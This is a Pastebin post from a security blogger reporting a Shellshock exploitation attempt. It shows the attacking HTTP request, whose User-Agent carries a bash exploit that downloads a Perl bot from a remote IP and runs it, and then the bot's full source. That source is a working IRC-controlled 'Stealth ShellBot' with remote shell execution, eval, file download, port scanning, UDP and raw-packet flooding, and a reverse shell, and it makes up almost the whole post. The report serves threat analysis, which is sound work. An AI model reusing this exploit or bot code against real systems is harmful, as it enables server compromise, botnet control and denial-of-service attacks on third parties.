Advertisement
Neonprimetime

Shellshock Attempt: 82.165.11.172, 78.47.78.165

Jan 12th, 2015
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 28.71 KB | None | 0 0
  1. Shellshock Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ****
  6.  
  7. Source IP: 82.165.11.172
  8.  
  9. ****
  10.  
  11. /phppath/cgi_wrapper HTTP/1.1
  12. Accept: */*
  13. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("wget hxxp://78.47.78.165/bot -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");'
  14.  
  15. ****
  16.  
  17. Contents of hxxp://78.47.78.165/bot are below
  18.  
  19. ****
  20.  
  21.  
  22. #!/usr/bin/perl
  23. #          - Adicionado comando !estatisticas ;
  24. #          - Alterado o comando @pacota para @oldpack;
  25. #          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
  26. #          - Adicionado um novo portscan -> @fullportscan   ;
  27. #          - Adicionado comando @conback   com suporte para Windows/Unix :D;
  28. #          - Adicionado comando: !sair para finalizar o bot;
  29. #          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
  30. #          - Adicionado comando !entra   e !sai  ;
  31. #          - Adicionado comando @download  ;
  32. #          - Adicionado comando !pacotes  para ativar/desativar pacotes :);
  33.  
  34. ########## CONFIGURACAO ############
  35. my $processo = '/usr/local/apache/bin/httpd -DSSL';
  36.  
  37. $servidor='78.47.78.165' unless $servidor;
  38. my $porta='444';
  39. my @canais=("#new");
  40. my @adms=("X","Y");
  41. my @auth=("*!*@evil");
  42.  
  43. # Anti Flood ( 6/3 Recomendado )
  44. my $linas_max=6;
  45. my $sleep=3;
  46.  
  47. my $nick = getnick();
  48. my $ircname = getnick();
  49. my $realname = getnick();
  50.  
  51. my $acessoshell = 1;
  52. ######## Stealth ShellBot ##########
  53. my $prefixo = "#";
  54. my $estatisticas = 0;
  55. my $pacotes = 1;
  56. ####################################
  57.  
  58. my $VERSAO = '0.2a';
  59.  
  60. $SIG{'INT'} = 'IGNORE';
  61. $SIG{'HUP'} = 'IGNORE';
  62. $SIG{'TERM'} = 'IGNORE';
  63. $SIG{'CHLD'} = 'IGNORE';
  64. $SIG{'PS'} = 'IGNORE';
  65.  
  66. use IO::Socket;
  67. use Socket;
  68. use IO::Select;
  69. chdir("/");
  70. $servidor="$ARGV[0]" if $ARGV[0];
  71. $0="$processo"."\0";
  72. my $pid=fork;
  73. exit if $pid;
  74. die "Problema com o fork: $!" unless defined($pid);
  75.  
  76. my %irc_servers;
  77. my %DCC;
  78. my $dcc_sel = new IO::Select->new();
  79.  
  80. #####################
  81. # Stealth Shellbot  #
  82. #####################
  83.  
  84.  
  85.  
  86. sub getnick {
  87.   #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  88.   #return $retornonick;
  89.   return "new".int(rand(9000));
  90. }
  91.  
  92.  
  93. sub getident {
  94.   my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  95.   my $identchance = int(rand(1000));
  96.   if ($identchance > 30) {
  97.      return $nick;
  98.   } else {
  99.      return $retornoident;
  100.   }
  101.   return $retornoident;
  102. }
  103.  
  104. sub getname {
  105.   my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  106.   return $retornoname;
  107. }
  108.  
  109. # IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  110. sub getident2 {
  111.         my $length=shift;
  112.         $length = 3 if ($length < 3);
  113.  
  114.         my @chars=('a'..'z','A'..'Z','1'..'9');
  115.         foreach (1..$length)
  116.         {
  117.                 $randomstring.=$chars[rand @chars];
  118.         }
  119.         return $randomstring;
  120. }
  121.  
  122. sub getstore ($$)
  123. {
  124.   my $url = shift;
  125.   my $file = shift;
  126.  
  127.   $http_stream_out = 1;
  128.   open(GET_OUTFILE, "> $file");
  129.   %http_loop_check = ();
  130.   _get($url);
  131.   close GET_OUTFILE;
  132.   return $main::http_get_result;
  133. }
  134.  
  135. sub _get
  136. {
  137.   my $url = shift;
  138.   my $proxy = "";
  139.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  140.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  141.     my $host = $1;
  142.     my $port = $2 || 80;
  143.     my $path = $3;
  144.     $path = "/" unless defined($path);
  145.     return _trivial_http_get($host, $port, $path);
  146.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  147.     my $host = $1;
  148.     my $port = $2;
  149.     my $path = $url;
  150.     return _trivial_http_get($host, $port, $path);
  151.   } else {
  152.     return undef;
  153.   }
  154. }
  155.  
  156.  
  157. sub _trivial_http_get
  158. {
  159.   my($host, $port, $path) = @_;
  160.   my($AGENT, $VERSION, $p);
  161.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  162.  
  163.   $AGENT = "get-minimal";
  164.   $VERSION = "20000118";
  165.  
  166.   $path =~ s/ /%20/g;
  167.  
  168.   require IO::Socket;
  169.   local($^W) = 0;
  170.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  171.                                    PeerPort => $port,
  172.                                    Proto   => 'tcp',
  173.                                    Timeout  => 60) || return;
  174.   $sock->autoflush;
  175.   my $netloc = $host;
  176.   $netloc .= ":$port" if $port != 80;
  177.   my $request = "GET $path HTTP/1.0\015\012"
  178.               . "Host: $netloc\015\012"
  179.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  180.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  181.   $request .= "\015\012";
  182.   print $sock $request;
  183.  
  184.   my $buf = "";
  185.   my $n;
  186.   my $b1 = "";
  187.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  188.     if ($b1 eq "") { # first block?
  189.       $b1 = $buf;         # Save this for errorcode parsing
  190.       $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
  191.     }
  192.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  193.   }
  194.   return undef unless defined($n);
  195.  
  196.   $main::http_get_result = 200;
  197.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  198.     $main::http_get_result = $1;
  199.     # print "CODE=$main::http_get_result\n$b1\n";
  200.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  201. ) {
  202.       # redirect
  203.       my $url = $1;
  204.       return undef if $http_loop_check{$url}++;
  205.       return _get($url);
  206.     }
  207.     return undef unless $main::http_get_result =~ /^2/;
  208.   }
  209.  
  210.   return $buf;
  211. }
  212.  
  213. #############################
  214. #  B0tchZ na veia ehehe :P  #
  215. #############################
  216.  
  217. $sel_cliente = IO::Select->new();
  218. sub sendraw {
  219.   if ($#_ == '1') {
  220.     my $socket = $_[0];
  221.     print $socket "$_[1]\n";
  222.   } else {
  223.       print $IRC_cur_socket "$_[0]\n";
  224.   }
  225. }
  226.  
  227. sub conectar {
  228.    my $meunick = $_[0];
  229.    my $servidor_con = $_[1];
  230.    my $porta_con = $_[2];
  231.  
  232.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  233.    if (defined($IRC_socket)) {
  234.      $IRC_cur_socket = $IRC_socket;
  235.  
  236.      $IRC_socket->autoflush(1);
  237.      $sel_cliente->add($IRC_socket);
  238.  
  239.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  240.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  241.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  242.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  243.      nick("$meunick");
  244.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  245.      sleep 2;
  246.    }
  247.  
  248. }
  249. my $line_temp;
  250. while( 1 ) {
  251.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  252.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  253.    &DCC::connections;
  254.    my @ready = $sel_cliente->can_read(0.6);
  255.    next unless(@ready);
  256.    foreach $fh (@ready) {
  257.      $IRC_cur_socket = $fh;
  258.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  259.      $nread = sysread($fh, $msg, 4096);
  260.      if ($nread == 0) {
  261.         $sel_cliente->remove($fh);
  262.         $fh->close;
  263.         delete($irc_servers{$fh});
  264.      }
  265.      @lines = split (/\n/, $msg);
  266.  
  267.      for(my $c=0; $c<= $#lines; $c++) {
  268.        $line = $lines[$c];
  269.        $line=$line_temp.$line if ($line_temp);
  270.        $line_temp='';
  271.        $line =~ s/\r$//;
  272.        unless ($c == $#lines) {
  273.          parse("$line");
  274.        } else {
  275.            if ($#lines == 0) {
  276.              parse("$line");
  277.            } elsif ($lines[$c] =~ /\r$/) {
  278.                parse("$line");
  279.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  280.                parse("$line");
  281.            } else {
  282.                $line_temp = $line;
  283.            }
  284.        }
  285.       }
  286.    }
  287. }
  288.  
  289. sub parse {
  290.    my $servarg = shift;
  291.    if ($servarg =~ /^PING \:(.*)/) {
  292.      sendraw("PONG :$1");
  293.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  294.        my $pn=$1; my $onde = $4; my $args = $5;
  295.        if ($args =~ /^\001VERSION\001$/) {
  296.          notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  297.        }
  298.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  299.          notice("$pn", "\001PONG\001");
  300.        }
  301.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  302.          if ($onde eq "$meunick"){
  303.            shell("$pn", "$args");
  304.            }
  305.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  306.             my $natrix = $1;
  307.             my $arg = $2;
  308.             if ($arg =~ /^\!(.*)/) {
  309.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  310.             } elsif ($arg =~ /^\@(.*)/) {
  311.                 $ondep = $onde;
  312.                 $ondep = $pn if $onde eq $meunick;
  313.                 bfunc("$ondep","$1");
  314.             } else {
  315.                 shell("$onde", "$arg");
  316.             }
  317.          }
  318.        }
  319.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  320.        if (lc($1) eq lc($meunick)) {
  321.          $meunick=$4;
  322.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  323.        }
  324.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  325.        $meunick = getnick();
  326.        nick("$meunick");
  327.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  328.        $meunick = $2;
  329.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  330.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  331.        foreach my $canal (@canais) {
  332.          sendraw("JOIN $canal");
  333.        }
  334.    }
  335. }
  336.  
  337. sub bfunc {
  338.   my $printl = $_[0];
  339.   my $funcarg = $_[1];
  340.   if (my $pid = fork) {
  341.      waitpid($pid, 0);
  342.   } else {
  343.       if (fork) {
  344.          exit;
  345.        } else {
  346.            if ($funcarg =~ /^portscan (.*)/) {
  347.              my $hostip="$1";
  348.              my @portas=("21","22","23","25","53","80","110","143");
  349.              my (@aberta, %porta_banner);
  350.              foreach my $porta (@portas)  {
  351.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  352.                 if ($scansock) {
  353.                    push (@aberta, $porta);
  354.                    $scansock->close;
  355.                 }
  356.              }
  357.              if (@aberta) {
  358.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  359.              } else {
  360.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  361.              }
  362.            }
  363.  
  364.            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  365.             getstore("$1", "$2");
  366.             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  367.             }
  368.  
  369.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  370.              my $hostname="$1";
  371.              my $portainicial = "$2";
  372.              my $portafinal = "$3";
  373.              my (@abertas, %porta_banner);
  374.              foreach my $porta ($portainicial..$portafinal)
  375.              {
  376.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  377.                if ($scansock) {
  378.                  push (@abertas, $porta);
  379.                  $scansock->close;
  380.                  if ($estatisticas) {
  381.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  382.                  }
  383.                }
  384.              }
  385.              if (@abertas) {
  386.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  387.              } else {
  388.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  389.              }
  390.             }
  391.  
  392.             # Duas Vers.es simplificada do meu Tr0x ;D
  393.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  394.               return unless $pacotes;
  395.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  396.               my $alvo=inet_aton("$1");
  397.               my $porta = "$2";
  398.               my $tempo = "$3";
  399.               my $pacote;
  400.               my $pacotese;
  401.               my $fim = time + $tempo;
  402.               my $pacota = 1;
  403.               while (($pacota == "1") && ($pacotes == "1")) {
  404.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  405.                 $pacote=$rand x $rand x $rand;
  406.                 $porta = int(rand 65000) +1 if ($porta == "0");
  407.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  408.               }
  409.               if ($estatisticas)
  410.               {
  411.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  412.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  413.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  414.               }
  415.             }
  416.  
  417.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  418.               return unless $pacotes;
  419.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  420.               my $faixaip="$1";
  421.               my $porta = "$2";
  422.               my $tempo = "$3";
  423.               my $pacote;
  424.               my $pacotes;
  425.               my $fim = time + $tempo;
  426.               my $pacota = 1;
  427.               my $alvo;
  428.               while ($pacota == "1") {
  429.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  430.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  431.                   $alvo = inet_aton("$faixaip.$faixa");
  432.                   $pacote=$rand x $rand x $rand;
  433.                   $porta = int(rand 65000) +1 if ($porta == "0");
  434.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  435.                   if ($faixa >= 255) {
  436.                     $faixa = 1;
  437.                   }
  438.                 }
  439.               }
  440.               if ($estatisticas)
  441.               {
  442.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  443.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  444.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  445.               }
  446.             }
  447.  
  448.             # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  449.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  450.               my $host = "$1";
  451.               my $porta = "$2";
  452.               my $proto = getprotobyname('tcp');
  453.               my $iaddr = inet_aton($host);
  454.               my $paddr = sockaddr_in($porta, $iaddr);
  455.               my $shell = "/bin/sh -i";
  456.               if ($^O eq "MSWin32") {
  457.                 $shell = "cmd.exe";
  458.               }
  459.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  460.               connect(SOCKET, $paddr) or die "connect: $!";
  461.               open(STDIN, ">&SOCKET");
  462.               open(STDOUT, ">&SOCKET");
  463.               open(STDERR, ">&SOCKET");
  464.               system("$shell");
  465.               close(STDIN);
  466.               close(STDOUT);
  467.               close(STDERR);
  468.  
  469.               if ($estatisticas)
  470.               {
  471.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  472.               }
  473.             }
  474.  
  475.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  476.             return unless $pacotes;
  477.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  478.              $dtime = 1 if $dtime == 0;
  479.              my %bytes;
  480.              $bytes{igmp} = $2 * $pacotes{igmp};
  481.              $bytes{icmp} = $2 * $pacotes{icmp};
  482.              $bytes{o} = $2 * $pacotes{o};
  483.              $bytes{udp} = $2 * $pacotes{udp};
  484.              $bytes{tcp} = $2 * $pacotes{tcp};
  485.              unless ($estatisticas)
  486.              {
  487.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  488.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  489.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  490.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  491.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  492.              }
  493.            }
  494.            exit;
  495.        }
  496.   }
  497. }
  498.  
  499. sub ircase {
  500.   my ($kem, $printl, $case) = @_;
  501.  
  502.    if ($case =~ /^join (.*)/) {
  503.      j("$1");
  504.    }
  505.    elsif ($case =~ /^part (.*)/) {
  506.       p("$1");
  507.    }
  508.    elsif ($case =~ /^rejoin\s+(.*)/) {
  509.       my $chan = $1;
  510.       if ($chan =~ /^(\d+) (.*)/) {
  511.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  512.           p("$2");
  513.           j("$2");
  514.         }
  515.       } else {
  516.           p("$chan");
  517.           j("$chan");
  518.       }
  519.    }
  520.    elsif ($case =~ /^op/) {
  521.       op("$printl", "$kem") if $case eq "op";
  522.       my $oarg = substr($case, 3);
  523.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  524.    }
  525.    elsif ($case =~ /^deop/) {
  526.       deop("$printl", "$kem") if $case eq "deop";
  527.       my $oarg = substr($case, 5);
  528.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  529.    }
  530.    elsif ($case =~ /^voice/) {
  531.       voice("$printl", "$kem") if $case eq "voice";
  532.       $oarg = substr($case, 6);
  533.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  534.    }
  535.    elsif ($case =~ /^devoice/) {
  536.       devoice("$printl", "$kem") if $case eq "devoice";
  537.       $oarg = substr($case, 8);
  538.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  539.    }
  540.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  541.       msg("$1", "$2");
  542.    }
  543.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  544.       for (my $cf = 1; $cf <= $1; $cf++) {
  545.         msg("$2", "$3");
  546.       }
  547.    }
  548.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  549.       for (my $cf = 1; $cf <= $1; $cf++) {
  550.         ctcp("$2", "$3");
  551.       }
  552.    }
  553.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  554.       ctcp("$1", "$2");
  555.    }
  556.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  557.       invite("$1", "$2");
  558.    }
  559.    elsif ($case =~ /^nick (.*)/) {
  560.       nick("$1");
  561.    }
  562.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  563.        conectar("$2", "$1", 6667);
  564.    }
  565.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  566.       DCC::SEND("$1", "$2");
  567.    }
  568.    elsif ($case =~ /^raw (.*)/) {
  569.       sendraw("$1");
  570.    }
  571.    elsif ($case =~ /^eval (.*)/) {
  572.       eval "$1";
  573.    }
  574.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  575.     sleep int(rand($2));
  576.     j("$1");
  577.    }
  578.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  579.     sleep int(rand($2));
  580.     p("$1");
  581.    }
  582.    elsif ($case =~ /^sair/) {
  583.      quit();
  584.    }
  585.    elsif ($case =~ /^novonick/) {
  586.     my $novonick = getnick();
  587.      nick("$novonick");
  588.    }
  589.    elsif ($case =~ /^estatisticas (.*)/) {
  590.      if ($1 eq "on") {
  591.       $estatisticas = 1;
  592.       msg("$printl", "Estat.sticas ativadas!");
  593.      } elsif ($1 eq "off") {
  594.       $estatisticas = 0;
  595.       msg("$printl", "Estat.sticas desativadas!");
  596.      }
  597.    }
  598.    elsif ($case =~ /^pacotes (.*)/) {
  599.      if ($1 eq "on") {
  600.       $pacotes = 1;
  601.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  602.      } elsif ($1 eq "off") {
  603.       $pacotes = 0;
  604.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  605.      }
  606.    }
  607. }
  608. sub shell {
  609.   return unless $acessoshell;
  610.   my $printl=$_[0];
  611.   my $comando=$_[1];
  612.   if ($comando =~ /cd (.*)/) {
  613.     chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  614.     return;
  615.   }
  616.   elsif ($pid = fork) {
  617.      waitpid($pid, 0);
  618.   } else {
  619.       if (fork) {
  620.          exit;
  621.        } else {
  622.            my @resp=`$comando 2>&1 3>&1`;
  623.            my $c=0;
  624.            foreach my $linha (@resp) {
  625.              $c++;
  626.              chop $linha;
  627.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  628.              if ($c >= "$linas_max") {
  629.                $c=0;
  630.                sleep $sleep;
  631.              }
  632.            }
  633.            exit;
  634.        }
  635.   }
  636. }
  637.  
  638. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  639. sub attacker {
  640.   my $iaddr = inet_aton($_[0]);
  641.   my $msg = 'B' x $_[1];
  642.   my $ftime = $_[2];
  643.   my $cp = 0;
  644.   my (%pacotes);
  645.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  646.  
  647.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  648.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  649.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  650.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  651.   return(undef) if $cp == 4;
  652.   my $itime = time;
  653.   my ($cur_time);
  654.   while ( 1 ) {
  655.      for (my $porta = 1; $porta <= 65535; $porta++) {
  656.        $cur_time = time - $itime;
  657.        last if $cur_time >= $ftime;
  658.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  659.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  660.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  661.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  662.  
  663.        # DoS ?? :P
  664.        for (my $pc = 3; $pc <= 255;$pc++) {
  665.          next if $pc == 6;
  666.          $cur_time = time - $itime;
  667.          last if $cur_time >= $ftime;
  668.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  669.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  670.        }
  671.      }
  672.      last if $cur_time >= $ftime;
  673.   }
  674.   return($cur_time, %pacotes);
  675. }
  676.  
  677. #############
  678. #  ALIASES  #
  679. #############
  680.  
  681. sub action {
  682.    return unless $#_ == 1;
  683.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  684. }
  685.  
  686. sub ctcp {
  687.    return unless $#_ == 1;
  688.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  689. }
  690. sub msg {
  691.    return unless $#_ == 1;
  692.    sendraw("PRIVMSG $_[0] :$_[1]");
  693. }
  694.  
  695. sub notice {
  696.    return unless $#_ == 1;
  697.    sendraw("NOTICE $_[0] :$_[1]");
  698. }
  699.  
  700. sub op {
  701.    return unless $#_ == 1;
  702.    sendraw("MODE $_[0] +o $_[1]");
  703. }
  704. sub deop {
  705.    return unless $#_ == 1;
  706.    sendraw("MODE $_[0] -o $_[1]");
  707. }
  708. sub hop {
  709.     return unless $#_ == 1;
  710.    sendraw("MODE $_[0] +h $_[1]");
  711. }
  712. sub dehop {
  713.    return unless $#_ == 1;
  714.    sendraw("MODE $_[0] +h $_[1]");
  715. }
  716. sub voice {
  717.    return unless $#_ == 1;
  718.    sendraw("MODE $_[0] +v $_[1]");
  719. }
  720. sub devoice {
  721.    return unless $#_ == 1;
  722.    sendraw("MODE $_[0] -v $_[1]");
  723. }
  724. sub ban {
  725.    return unless $#_ == 1;
  726.    sendraw("MODE $_[0] +b $_[1]");
  727. }
  728. sub unban {
  729.    return unless $#_ == 1;
  730.    sendraw("MODE $_[0] -b $_[1]");
  731. }
  732. sub kick {
  733.    return unless $#_ == 1;
  734.    sendraw("KICK $_[0] $_[1] :$_[2]");
  735. }
  736.  
  737. sub modo {
  738.    return unless $#_ == 0;
  739.    sendraw("MODE $_[0] $_[1]");
  740. }
  741. sub mode { modo(@_); }
  742.  
  743. sub j { &join(@_); }
  744. sub join {
  745.    return unless $#_ == 0;
  746.    sendraw("JOIN $_[0]");
  747. }
  748. sub p { part(@_); }
  749. sub part {sendraw("PART $_[0]");}
  750.  
  751. sub nick {
  752.   return unless $#_ == 0;
  753.   sendraw("NICK $_[0]");
  754. }
  755.  
  756. sub invite {
  757.    return unless $#_ == 1;
  758.    sendraw("INVITE $_[1] $_[0]");
  759. }
  760. sub topico {
  761.    return unless $#_ == 1;
  762.    sendraw("TOPIC $_[0] $_[1]");
  763. }
  764. sub topic { topico(@_); }
  765.  
  766. sub whois {
  767.   return unless $#_ == 0;
  768.   sendraw("WHOIS $_[0]");
  769. }
  770. sub who {
  771.   return unless $#_ == 0;
  772.   sendraw("WHO $_[0]");
  773. }
  774. sub names {
  775.   return unless $#_ == 0;
  776.   sendraw("NAMES $_[0]");
  777. }
  778. sub away {
  779.   sendraw("AWAY $_[0]");
  780. }
  781. sub back { away(); }
  782. sub quit {
  783.   sendraw("QUIT :$_[0]");
  784.   exit;
  785. }
  786.  
  787. # DCC
  788. package DCC;
  789.  
  790. sub connections {
  791.    my @ready = $dcc_sel->can_read(1);
  792. #   return unless (@ready);
  793.    foreach my $fh (@ready) {
  794.      my $dcctipo = $DCC{$fh}{tipo};
  795.      my $arquivo = $DCC{$fh}{arquivo};
  796.      my $bytes = $DCC{$fh}{bytes};
  797.      my $cur_byte = $DCC{$fh}{curbyte};
  798.      my $nick = $DCC{$fh}{nick};
  799.  
  800.      my $msg;
  801.      my $nread = sysread($fh, $msg, 10240);
  802.  
  803.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  804.         $DCC{$fh}{status} = "Cancelado";
  805.         $DCC{$fh}{ftime} = time;
  806.         $dcc_sel->remove($fh);
  807.         $fh->close;
  808.         next;
  809.      }
  810.  
  811.      if ($dcctipo eq "get") {
  812.         $DCC{$fh}{curbyte} += length($msg);
  813.  
  814.         my $cur_byte = $DCC{$fh}{curbyte};
  815.  
  816.         open(FILE, ">> $arquivo");
  817.         print FILE "$msg" if ($cur_byte <= $bytes);
  818.         close(FILE);
  819.  
  820.         my $packbyte = pack("N", $cur_byte);
  821.         print $fh "$packbyte";
  822.  
  823.         if ($bytes == $cur_byte) {
  824.            $dcc_sel->remove($fh);
  825.            $fh->close;
  826.            $DCC{$fh}{status} = "Recebido";
  827.            $DCC{$fh}{ftime} = time;
  828.            next;
  829.         }
  830.      } elsif ($dcctipo eq "send") {
  831.           my $send = $fh->accept;
  832.           $send->autoflush(1);
  833.           $dcc_sel->add($send);
  834.           $dcc_sel->remove($fh);
  835.           $DCC{$send}{tipo} = 'sendcon';
  836.           $DCC{$send}{itime} = time;
  837.           $DCC{$send}{nick} = $nick;
  838.           $DCC{$send}{bytes} = $bytes;
  839.           $DCC{$send}{curbyte} = 0;
  840.           $DCC{$send}{arquivo} = $arquivo;
  841.           $DCC{$send}{ip} = $send->peerhost;
  842.           $DCC{$send}{porta} = $send->peerport;
  843.           $DCC{$send}{status} = "Enviando";
  844.  
  845.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
